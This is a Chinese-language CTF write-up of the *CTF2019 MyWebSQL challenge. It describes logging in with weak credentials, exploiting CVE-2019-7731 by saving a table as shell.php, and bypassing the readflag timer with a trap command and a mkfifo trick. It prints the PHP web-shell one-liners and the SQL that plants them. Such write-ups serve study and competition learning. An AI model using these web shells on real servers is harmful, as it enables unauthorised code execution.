0%

*CTF2019-MYWEBSQL WRITEUP

比赛时卡在了执行readflag赛后复现2333

环境还在:http://35.243.82.53:10080/

首页是MyWebSQL登录界面

img

猜测用户名弱密码

1
2
3
root root
admin admin
……

admin admin登录成功

谷歌MyWebSQL CVE

发现了CVE-2019-7731,正好是最近的漏洞,出题人的最爱,点进去看到有一篇分析
有漏洞复现过程:

  • Create a test table (code) and write a shell code in this table.

创建表,写入shell语句

  • Execute Backup Database function and modify Backup filename as shell.php.

备份数据表,名称改为shell.php
示例语句为

1
<?php system($_POST[cmd]); ?>
  • Browse (domain)/mywebsql/backups/shell.php?cmd=XXX. Here instance is cmd=ipconfig as below figure.

然后文件就在backups目录下了

为了方便,我还是写入eval马方便蚁剑连接

1
2
create table `tinmin` (string VARCHAR(255));
insert into `tinmin` (string) VALUES ('<?php eval($_POST[tinmin]); ?>');

查询就执行成功了
img
然后备份
img
蚁剑连接
img
打开终端
img
flag读不了,权限不够,执行根目录下的readflag,发现一下就跳过了
img

于是cp readflag到网站目录下载下来,IDA打开发现ualarm计时操作
img
比赛就卡在这里了,本地ubuntu pwntools跑也来不及

尝试反弹shell

img

这里我也不懂tinmin.sh为什么不能直接

1
./tinmin.sh

发现运行不了,要bash tinmin.sh

让SIGALRM不作为

有个 trap 命令能让ualarm不执行
参考:https://linuxconfig.org/how-to-modify-scripts-behavior-on-signals-using-bash-traps
终端输入

1
trap "" 14

然后运行readflag,好了,可以慢慢算了
img

1
*ctf{h4E9PKLkr6HTO3JcRglVdYaBSA0eDU8y}

后来看台湾balsn战队WP
https://balsn.tw/ctf_writeup/20190427-*ctf/#solution-2:-mkfifo-trick

1
2
3
4
5
$ mkfifo pipe
$ cat pipe | ./readflag |(read l;read l;echo "$(($l))" > pipe;cat)
input your answer:
ok! here is your flag!!
...